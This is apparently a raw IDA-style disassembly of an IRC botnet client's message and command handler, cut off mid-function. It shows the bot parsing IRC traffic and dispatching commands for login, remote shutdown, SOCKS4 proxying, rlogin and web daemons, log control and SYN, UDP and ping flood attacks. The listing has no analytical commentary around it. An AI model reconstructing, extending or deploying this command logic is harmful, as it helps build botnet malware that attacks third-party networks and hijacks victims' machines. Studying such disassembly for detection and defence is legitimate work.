; ---------------------------------------------------------------------------
loc_40F0F5: ; CODE XREF: sub_40EE51+273j
mov esi, [ebp+Str1]
mov [ebp+var_BC], 2
mov edi, 80h
loc_40F107: ; CODE XREF: sub_40EE51+2DBj
lea eax, [ebp+var_AA8]
push eax ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F124
mov [ebp+var_AC], 1
loc_40F124: ; CODE XREF: sub_40EE51+2C7j
add esi, edi
dec [ebp+var_BC]
jnz short loc_40F107
mov esi, [ebp+var_90]
push esi ; Str2
push offset aKick ; "KICK"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F21D
mov esi, [ebp+Str1]
mov [ebp+File], 2
loc_40F153: ; CODE XREF: sub_40EE51+38Fj
cmp [esi], bl
jz loc_40F1DB
push 7Fh ; Count
lea eax, [ebp+var_AA8]
push esi ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_D8]
add esp, 0Ch
test eax, eax
jz short loc_40F1DB
cmp [ebp+var_88], ebx
jz short loc_40F1DB
push [ebp+var_88] ; Str2
lea eax, [ebp+var_D8]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F1DB
lea eax, [ebp+var_D8]
mov [esi], bl
push eax
lea eax, [ebp+Dst]
push offset dword_43770C ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+var_D8]
push eax ; Args
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4] ; int
call sub_40D62A
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
add esp, 20h
loc_40F1DB: ; CODE XREF: sub_40EE51+304j
; sub_40EE51+324j ...
add esi, edi
dec [ebp+File]
jnz loc_40F153
push [ebp+var_88] ; Str2
push [ebp+Source] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F215
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8] ; Args
mov [eax], ebx
push offset aJoinSS_0 ; "JOIN %s %s\r\n"
loc_40F20A: ; CODE XREF: sub_40EE51+615j
; sub_40EE51+96Cj
push [ebp+arg_4] ; int
call sub_40D62A
loc_40F212: ; CODE XREF: sub_40EE51+57B0j
; sub_40EE51+57CDj ...
add esp, 10h
loc_40F215: ; CODE XREF: sub_40EE51+5Bj
; sub_40EE51+F1j ...
push 1
loc_40F217: ; CODE XREF: sub_40EE51+5CF7j
pop eax
loc_40F218: ; CODE XREF: sub_40EE51+29Fj
; sub_40EE51+22C7j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40F21D: ; CODE XREF: sub_40EE51+2F2j
push esi ; Str2
push offset aNick ; "NICK"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F373
mov eax, [ebp+Format]
mov esi, [ebp+Str1]
inc eax
mov [ebp+Src], 2
mov [ebp+File], eax
loc_40F246: ; CODE XREF: sub_40EE51+447j
lea eax, [ebp+var_AA8]
push eax ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F293
lea eax, [ebp+var_AA8]
push 21h ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40F293
push [ebp+File] ; Source
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax ; Dest
call _strcpy
push [ebp+arg_1C] ; Source
push edi ; Dest
call _strcat
add esp, 10h
mov edi, 80h
loc_40F293: ; CODE XREF: sub_40EE51+406j
; sub_40EE51+41Dj
add esi, edi
dec [ebp+Src]
jnz short loc_40F246
lea eax, [ebp+var_D8]
test eax, eax
jz loc_40F215
cmp [ebp+File], ebx
jz loc_40F215
push [ebp+Source] ; Str2
lea eax, [ebp+var_D8]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F2DB
push 0Fh ; Count
push [ebp+File] ; Source
push [ebp+Source] ; Dest
call _strncpy
add esp, 0Ch
jmp loc_40F215
; ---------------------------------------------------------------------------
loc_40F2DB: ; CODE XREF: sub_40EE51+473j
mov edi, [ebp+Str1]
xor esi, esi
loc_40F2E0: ; CODE XREF: sub_40EE51+4B0j
cmp [edi], bl
jz short loc_40F2F7
lea eax, [ebp+var_AA8]
push eax ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40F308
loc_40F2F7: ; CODE XREF: sub_40EE51+491j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40F2E0
jmp loc_40F215
; ---------------------------------------------------------------------------
loc_40F308: ; CODE XREF: sub_40EE51+4A4j
lea eax, [ebp+var_AA8]
push 21h ; Val
push eax ; Str
call _strchr
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+Src], eax
jz loc_40F215
push eax ; Str
call _strlen
push [ebp+File] ; Str
mov edi, eax
call _strlen
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_40F215
push [ebp+Src]
shl esi, 7
push [ebp+File]
add esi, [ebp+Str1]
push offset aSS_1 ; ":%s%s"
push esi ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+var_4C0]
push ebx ; int
push eax ; int
push [ebp+arg_8] ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 24h
jmp loc_40F215
; ---------------------------------------------------------------------------
loc_40F373: ; CODE XREF: sub_40EE51+3DBj
push esi ; Str2
push offset aPart ; "PART"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40F395
push esi ; Str2
push offset aQuit ; "QUIT"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F3BC
loc_40F395: ; CODE XREF: sub_40EE51+531j
mov edi, [ebp+Str1]
xor esi, esi
loc_40F39A: ; CODE XREF: sub_40EE51+569j
cmp [edi], bl
jz short loc_40F3B0
push [ebp+Str2] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40F40A
loc_40F3B0: ; CODE XREF: sub_40EE51+54Bj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40F39A
loc_40F3BC: ; CODE XREF: sub_40EE51+542j
push [ebp+var_90] ; Str2
push offset a353 ; "353"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F46B
push dword ptr [ebp+Args] ; Str2
push [ebp+arg_8] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F3F3
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40F3F3: ; CODE XREF: sub_40EE51+597j
push dword ptr [ebp+Args] ; Args
push offset dword_4376B0 ; Format
loc_40F3FE: ; CODE XREF: sub_40EE51+5B29j
; sub_40EE51+5EA2j ...
call sub_40BFE3
pop ecx
loc_40F404: ; CODE XREF: sub_40EE51+5FB7j
pop ecx
jmp loc_40F215
; ---------------------------------------------------------------------------
loc_40F40A: ; CODE XREF: sub_40EE51+55Dj
mov eax, [ebp+Str1]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+Dst]
push offset dword_437680 ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
push [ebp+var_90] ; Str2
push offset aPart ; "PART"
call _strcmp
add esp, 18h
test eax, eax
jnz loc_40F215
lea eax, [ebp+Dst]
push eax
mov eax, [ebp+Str2]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40F20A
; ---------------------------------------------------------------------------
loc_40F46B: ; CODE XREF: sub_40EE51+57Fj
push [ebp+var_90] ; Str2
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi ; Str1
call _strcmp
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40F4BF
push [ebp+var_90] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40F4BF
push [ebp+var_90] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_414F3C
cmp ds:dword_42E5B8, ebx
jz loc_414F3C
loc_40F4BF: ; CODE XREF: sub_40EE51+634j
; sub_40EE51+646j
push [ebp+var_90] ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40F645
push [ebp+var_90] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40F645
mov eax, [ebp+var_88]
inc dword ptr [ebp+Args]
push 4
mov [ebp+Format], eax
pop esi
mov [ebp+var_C0], esi
loc_40F506: ; CODE XREF: sub_40EE51+8B0j
; sub_40EE51+941j ...
shl esi, 2
mov eax, [ebp+esi+Str2]
lea edi, [ebp+esi+Str2]
push eax ; Str2
push offset dword_437674 ; Str1
mov [ebp+arg_8], eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F93F
push [ebp+esi+var_90] ; Str2
push offset aSend_0 ; "SEND"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F7FD
cmp [ebp+var_AC], ebx
jz loc_40F7D3
push [ebp+esi+Format]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+Dest]
push edi ; Format
push eax ; Dest
call _sprintf
push [ebp+esi+var_88]
lea eax, [ebp+var_708]
push edi ; Format
push eax ; Dest
call _sprintf
push dword ptr [ebp+esi+Args] ; Str
call _atoi
mov [ebp+var_570], eax
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push 7Fh ; Count
push eax ; Source
lea eax, [ebp+var_5F0]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_5F0]
push eax
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+Dst]
push offset dword_437630 ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 12h ; int
push eax ; Source
call sub_416D48
add esp, 44h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C8B6
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz loc_40F7C2
loc_40F62F: ; CODE XREF: sub_40EE51+7F2j
cmp [ebp+var_560], ebx
jnz loc_40F7F5
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_40F62F
; ---------------------------------------------------------------------------
loc_40F645: ; CODE XREF: sub_40EE51+67Ej
; sub_40EE51+694j
push [ebp+var_90] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40F65E
mov [ebp+var_4], 1
loc_40F65E: ; CODE XREF: sub_40EE51+804j
cmp [ebp+Format], ebx
jz loc_40F215
push (offset loc_4279A7+1) ; SubStr
push [ebp+Format] ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_40F685
cmp [ebp+var_4], ebx
jz short loc_40F691
loc_40F685: ; CODE XREF: sub_40EE51+82Dj
lea eax, [ebp+var_D8]
mov [ebp+Format], eax
loc_40F691: ; CODE XREF: sub_40EE51+832j
cmp [ebp+var_88], ebx
jz loc_40F215
inc [ebp+var_88]
jz short loc_40F6DD
cmp [ebp+Source], ebx
jz short loc_40F6DD
lea eax, [ebp+var_928]
push eax ; Str
call _strlen
push eax ; MaxCount
lea eax, [ebp+var_928]
push [ebp+var_88] ; Str2
push eax ; Str1
call _strncmp
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_C0], esi
jmp short loc_40F6E3
; ---------------------------------------------------------------------------
loc_40F6DD: ; CODE XREF: sub_40EE51+852j
; sub_40EE51+857j
mov esi, [ebp+var_C0]
loc_40F6E3: ; CODE XREF: sub_40EE51+88Aj
mov edi, [ebp+esi*4+Str2]
cmp edi, ebx
jz loc_40F215
push edi ; Str2
push offset dword_437624 ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F506
mov ecx, [ebp+Format]
cmp byte ptr [ecx], 23h
jz short loc_40F783
mov eax, ds:dword_486D84
mov eax, ds:off_42E6B8[eax*4]
cmp [eax], bl
jz short loc_40F783
push eax
push ecx ; Args
push offset dword_437608 ; Format
push [ebp+arg_4] ; int
call sub_40D62A
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+Dst]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax
call sub_40BF6F
add esp, 20h
cmp [ebp+var_AC], ebx
jnz loc_40F215
push ebx ; int
lea eax, [ebp+Dst]
push 1 ; int
push eax ; int
push offset byte_486C8C ; Str
loc_40F773: ; CODE XREF: sub_40EE51+58A4j
push [ebp+arg_4] ; int
call sub_40D670
add esp, 14h
jmp loc_40F215
; ---------------------------------------------------------------------------
loc_40F783: ; CODE XREF: sub_40EE51+8BFj
; sub_40EE51+8CFj
push edi ; Str2
push offset dword_4375E4 ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F506
mov eax, [ebp+esi*4+var_90]
cmp eax, ebx
jz loc_40F506
mov ecx, [ebp+Format]
cmp byte ptr [ecx], 23h
jz loc_40F506
push eax
push ecx
push offset dword_4375CC
jmp loc_40F20A
; ---------------------------------------------------------------------------
loc_40F7C2: ; CODE XREF: sub_40EE51+7D8j
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset dword_437584
jmp loc_40F92B
; ---------------------------------------------------------------------------
loc_40F7D3: ; CODE XREF: sub_40EE51+6FFj
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset dword_437534 ; Format
push eax ; Dest
call _sprintf
add esp, 10h
loc_40F7F5: ; CODE XREF: sub_40EE51+7E4j
; sub_40EE51+AA2j ...
push 1
pop esi
jmp loc_411109
; ---------------------------------------------------------------------------
loc_40F7FD: ; CODE XREF: sub_40EE51+6F3j
push [ebp+esi+var_90] ; Str2
push offset aChat ; "CHAT"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40F955
cmp [ebp+var_AC], ebx
jz loc_40F91F
push 13h
call sub_416F90
test eax, eax
pop ecx
jnz loc_40F911
push [ebp+esi+var_88]
lea eax, [ebp+var_708]
push offset aS_1 ; "%s"
push eax ; Dest
call _sprintf
push dword ptr [ebp+esi+Args] ; Str
call _atoi
mov [ebp+var_570], eax
mov eax, [ebp+arg_4]
mov [ebp+var_710], eax
lea eax, [ebp+var_D8]
push 7Fh ; Count
push eax ; Source
lea eax, [ebp+var_5F0]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+Dst]
push offset dword_4374FC ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 13h ; int
push eax ; Source
call sub_416D48
add esp, 34h
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_710]
push ebx
push eax
push offset sub_40C353
push ebx
push ebx
call ds:dword_42309C
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_442084[ecx], eax
jz short loc_40F903
loc_40F8ED: ; CODE XREF: sub_40EE51+AB0j
cmp [ebp+var_560], ebx
jnz loc_40F7F5
push 32h
call ds:dword_423060 ; Sleep
jmp short loc_40F8ED
; ---------------------------------------------------------------------------
loc_40F903: ; CODE XREF: sub_40EE51+A9Aj
call ds:dword_423088 ; RtlGetLastWin32Error
push eax
push offset dword_4374B8
jmp short loc_40F92B
; ---------------------------------------------------------------------------
loc_40F911: ; CODE XREF: sub_40EE51+9DDj
lea eax, [ebp+var_D8]
push eax
push offset dword_437478
jmp short loc_40F92B
; ---------------------------------------------------------------------------
loc_40F91F: ; CODE XREF: sub_40EE51+9CDj
lea eax, [ebp+var_D8]
push eax
push offset dword_437438 ; Format
loc_40F92B: ; CODE XREF: sub_40EE51+97Dj
; sub_40EE51+ABEj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_40F7F5
; ---------------------------------------------------------------------------
loc_40F93F: ; CODE XREF: sub_40EE51+6D8j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, ds:byte_42E5C0
mov [edi], ecx
jnz loc_40F215
loc_40F955: ; CODE XREF: sub_40EE51+9C1j
mov edi, [edi]
mov [ebp+arg_8], edi
push edi ; Str2
mov edi, offset aS1gn1n ; "s1gn1n"
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414F44
push [ebp+arg_8] ; Str2
push edi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414F44
cmp [ebp+var_AC], ebx
jnz short loc_40F9A5
push [ebp+var_90] ; Str2
push offset a332 ; "332"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_414F3C
loc_40F9A5: ; CODE XREF: sub_40EE51+B38j
cmp [ebp+arg_28], ebx
jnz loc_414F3C
xor edi, edi
cmp ds:dword_4303A0, ebx
jle loc_40FB51
mov [ebp+arg_20], offset Str1
loc_40F9C3: ; CODE XREF: sub_40EE51+B91j
push [ebp+arg_8] ; Str2
push [ebp+arg_20] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40F9E9
add [ebp+arg_20], 0B8h
inc edi
cmp edi, ds:dword_4303A0
jl short loc_40F9C3
jmp loc_40FB51
; ---------------------------------------------------------------------------
loc_40F9E9: ; CODE XREF: sub_40EE51+B81j
push offset asc_43778C ; " :"
push [ebp+Src] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz loc_40F215
mov cl, ds:byte_42E5C0
imul edi, 0B8h
mov [eax+2], cl
mov cl, ds:byte_42E5C0
mov [eax+3], cl
lea ecx, dword_441308[edi]
push 9Fh ; Count
add eax, 4
push ecx ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+esi+var_54]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_40FA3E: ; CODE XREF: sub_40EE51+C95j
push [ebp+arg_20]
lea eax, [ebp+SubStr]
push offset aD ; "$%d-"
push eax ; Dest
call _sprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_40FAAA
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_40FAAA
lea eax, Str1[edi]
push eax ; Str
call _strlen
add [ebp+var_C], eax
pop ecx
jz short loc_40FADC
mov eax, [ebp+arg_C]
push dword ptr [eax-4] ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40FADC
push eax ; Str
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_40A7D2
add esp, 0Ch
jmp short loc_40FADC
; ---------------------------------------------------------------------------
loc_40FAAA: ; CODE XREF: sub_40EE51+C15j
; sub_40EE51+C1Cj
mov eax, [ebp+arg_C]
cmp [eax], ebx
jnz short loc_40FADC
lea eax, [ebp+SubStr]
push 2 ; Count
push eax ; Source
lea eax, [ebp+var_14]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax ; Str
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_40A7D2
add esp, 18h
loc_40FADC: ; CODE XREF: sub_40EE51+C2Ej
; sub_40EE51+C42j ...
dec [ebp+arg_20]
sub [ebp+arg_C], 4
cmp [ebp+arg_20], ebx
jg loc_40FA3E
lea eax, [ebp+esi+var_54]
mov [ebp+arg_20], 10h
mov edi, eax
loc_40FAF9: ; CODE XREF: sub_40EE51+CF4j
push [ebp+arg_20]
lea eax, [ebp+SubStr]
push offset aD_0 ; "$%d"
push eax ; Dest
call _sprintf
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
test eax, eax
jz short loc_40FB3C
mov eax, [edi]
cmp eax, ebx
jz short loc_40FB3C
push eax ; Str
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_40A7D2
add esp, 0Ch
loc_40FB3C: ; CODE XREF: sub_40EE51+CD0j
; sub_40EE51+CD6j
dec [ebp+arg_20]
sub edi, 4
cmp [ebp+arg_20], ebx
jg short loc_40FAF9
mov [ebp+var_DC], 1
loc_40FB51: ; CODE XREF: sub_40EE51+B65j
; sub_40EE51+B93j
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, ds:byte_42E5C0
jz short loc_40FB6A
cmp [ebp+var_DC], ebx
jz loc_40FD4F
loc_40FB6A: ; CODE XREF: sub_40EE51+D0Bj
push [ebp+Source] ; Str
mov edi, [ebp+Src]
push offset aMe_0 ; "$me"
push edi ; Src
call sub_40A7D2
lea eax, [ebp+var_D8]
push eax ; Str
push offset aUser_2 ; "$user"
push edi ; Src
call sub_40A7D2
push [ebp+Format] ; Str
push offset aChan ; "$chan"
push edi ; Src
call sub_40A7D2
push ebx ; Str1
push ebx ; int
lea eax, [ebp+SubStr]
push 2 ; int
push eax ; Dest
call sub_415CF0
push eax ; Str
push offset aRndnick ; "$rndnick"
push edi ; Src
call sub_40A7D2
add esp, 40h
push [ebp+arg_14] ; Str
push offset aServer_1 ; "$server"
push edi ; Src
call sub_40A7D2
mov edi, offset aChr ; "$chr("
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 14h
loc_40FBDC: ; CODE XREF: sub_40EE51+E77j
test eax, eax
jz loc_40FCCD
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
mov [ebp+Source], eax
add eax, 5
push 4 ; Count
push eax ; Source
lea eax, [ebp+SubStr]
push eax ; Dest
call _strncpy
lea eax, [ebp+SubStr]
push offset asc_4373F0 ; ")"
push eax ; Str
call _strtok
add esp, 1Ch
cmp [ebp+SubStr], 30h
jl short loc_40FC28
cmp [ebp+SubStr], 39h
jle short loc_40FC3E
loc_40FC28: ; CODE XREF: sub_40EE51+DCCj
push 3 ; Count
lea eax, [ebp+SubStr]
push offset a63 ; "63"
push eax ; Dest
call _strncpy
add esp, 0Ch
loc_40FC3E: ; CODE XREF: sub_40EE51+DD5j
lea eax, [ebp+SubStr]
push eax ; Str
call _atoi
test eax, eax
pop ecx
jle short loc_40FC61
lea eax, [ebp+SubStr]
push eax ; Str
call _atoi
pop ecx
mov [ebp+var_14], al
jmp short loc_40FC72
; ---------------------------------------------------------------------------
loc_40FC61: ; CODE XREF: sub_40EE51+DFCj
call _rand
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_40FC72: ; CODE XREF: sub_40EE51+E0Ej
lea eax, [ebp+SubStr]
mov [ebp+var_13], bl
push eax ; Str
call _strlen
mov [ebp+arg_20], eax
push 0Ch ; Size
lea eax, [ebp+SubStr]
push ebx ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_20]
add eax, 6
push eax ; Count
lea eax, [ebp+SubStr]
push [ebp+Source] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+var_14]
push eax ; Str
lea eax, [ebp+SubStr]
push eax ; SubStr
push [ebp+Src] ; Src
call sub_40A7D2
push edi ; SubStr
push [ebp+Src] ; Str
call _strstr
add esp, 30h
jmp loc_40FBDC
; ---------------------------------------------------------------------------
loc_40FCCD: ; CODE XREF: sub_40EE51+D8Dj
mov edi, 1FFh
lea eax, [ebp+Str]
push edi ; Count
push [ebp+Src] ; Source
push eax ; Dest
call _strncpy
lea eax, [ebp+Str]
push edi ; Count
push eax ; Source
lea eax, [ebp+var_11B0]
push eax ; Dest
call _strncpy
lea eax, [ebp+var_11B0]
push offset asc_4293B4 ; " "
push eax ; Str
call _strtok
add esp, 20h
mov [ebp+Str2], eax
lea edi, [ebp+var_90]
mov [ebp+Source], 1Fh
loc_40FD1D: ; CODE XREF: sub_40EE51+EE1j
push offset asc_4293B4 ; " "
push ebx ; Str
call _strtok
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+Source]
pop ecx
jnz short loc_40FD1D
mov ecx, [ebp+esi+Str2]
lea eax, [ebp+esi+Str2]
cmp ecx, ebx
jz loc_40F215
add ecx, 3
mov [eax], ecx
loc_40FD4F: ; CODE XREF: sub_40EE51+D13j
mov edi, [ebp+esi+Str2]
push edi ; Str2
push offset aIrc_rndnick ; "irc.rndnick"
mov [ebp+arg_8], edi
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414EEF
push edi ; Str2
push offset aRn ; "rn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414EEF
push edi ; Str2
push offset aIrc_die ; "irc.die"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414ECD
push edi ; Str2
push offset aIrc_di ; "irc.di"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414ECD
push edi ; Str2
push offset aIrc_logout ; "irc.logout"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414E2B
push edi ; Str2
push offset aLo ; "lo"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414E2B
push edi ; Str2
push offset aIrc_version ; "irc.version"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414E0D
push edi ; Str2
push offset aVer ; "ver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414E0D
push edi ; Str2
push offset aLockdown_on ; "lockdown.on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414CF8
push edi ; Str2
push offset aLd_on ; "ld.on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414CF8
push edi ; Str2
push offset aLockdown_off ; "lockdown.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414CF8
push edi ; Str2
push offset aLd_off ; "ld.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414CF8
push edi ; Str2
push offset aProxy_socks4_o ; "proxy.socks4.on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414BD6
push edi ; Str2
push offset aProxy_s4_on ; "proxy.s4.on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_414BD6
push edi ; Str2
push offset aProxy_socks4_0 ; "proxy.socks4.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40FEBF
push [ebp+esi+var_90] ; Str
push 11h ; int
push offset aServer_0 ; "Server"
push offset dword_437338 ; int
loc_40FEA3: ; CODE XREF: sub_40EE51+1092j
; sub_40EE51+10B8j ...
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; int
push [ebp+arg_4] ; int
call sub_416FD6
add esp, 20h
jmp loc_40F215
; ---------------------------------------------------------------------------
loc_40FEBF: ; CODE XREF: sub_40EE51+103Dj
push edi ; Str2
push offset aDaemon_rlogin_ ; "daemon.rlogin.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40FEE5
push [ebp+esi+var_90]
push 6
push offset aServer_0 ; "Server"
push offset dword_437314
jmp short loc_40FEA3
; ---------------------------------------------------------------------------
loc_40FEE5: ; CODE XREF: sub_40EE51+107Dj
push edi ; Str2
push offset aDaemon_web_off ; "daemon.web.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF0B
push [ebp+esi+var_90]
push 3
push offset aServer_0 ; "Server"
push offset dword_4372F8
jmp short loc_40FEA3
; ---------------------------------------------------------------------------
loc_40FF0B: ; CODE XREF: sub_40EE51+10A3j
push edi ; Str2
push offset aLog_off ; "log.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF34
push [ebp+esi+var_90]
push 1Dh
push offset dword_4372E4
push offset dword_4372D8
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_40FF34: ; CODE XREF: sub_40EE51+10C9j
push edi ; Str2
push offset aProxy_redirect ; "proxy.redirect.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF5D
push [ebp+esi+var_90]
push 10h
push offset dword_4372B4
push offset dword_4372A4
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_40FF5D: ; CODE XREF: sub_40EE51+10F2j
push edi ; Str2
push offset aDdos_off ; "ddos.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF86
push [ebp+esi+var_90]
push 0Ah
push offset dword_43728C
push offset dword_437280
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_40FF86: ; CODE XREF: sub_40EE51+111Bj
push edi ; Str2
push offset aDdos_syn_off ; "ddos.syn.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40FFAF
push [ebp+esi+var_90]
push 0Bh
push offset dword_437264
push offset dword_437258
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_40FFAF: ; CODE XREF: sub_40EE51+1144j
push edi ; Str2
push offset aDdos_udp_off ; "ddos.udp.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40FFD8
push [ebp+esi+var_90]
push 0Fh
push offset dword_43723C
push offset dword_437230
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_40FFD8: ; CODE XREF: sub_40EE51+116Dj
push edi ; Str2
push offset aDdos_ping_off ; "ddos.ping.off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_410001
push [ebp+esi+var_90]
push 0Eh
push offset dword_437214
push offset dword_437208
jmp loc_40FEA3
; ---------------------------------------------------------------------------
loc_410001: ; CODE XREF: sub_40EE51+1196j
push edi ; Str2
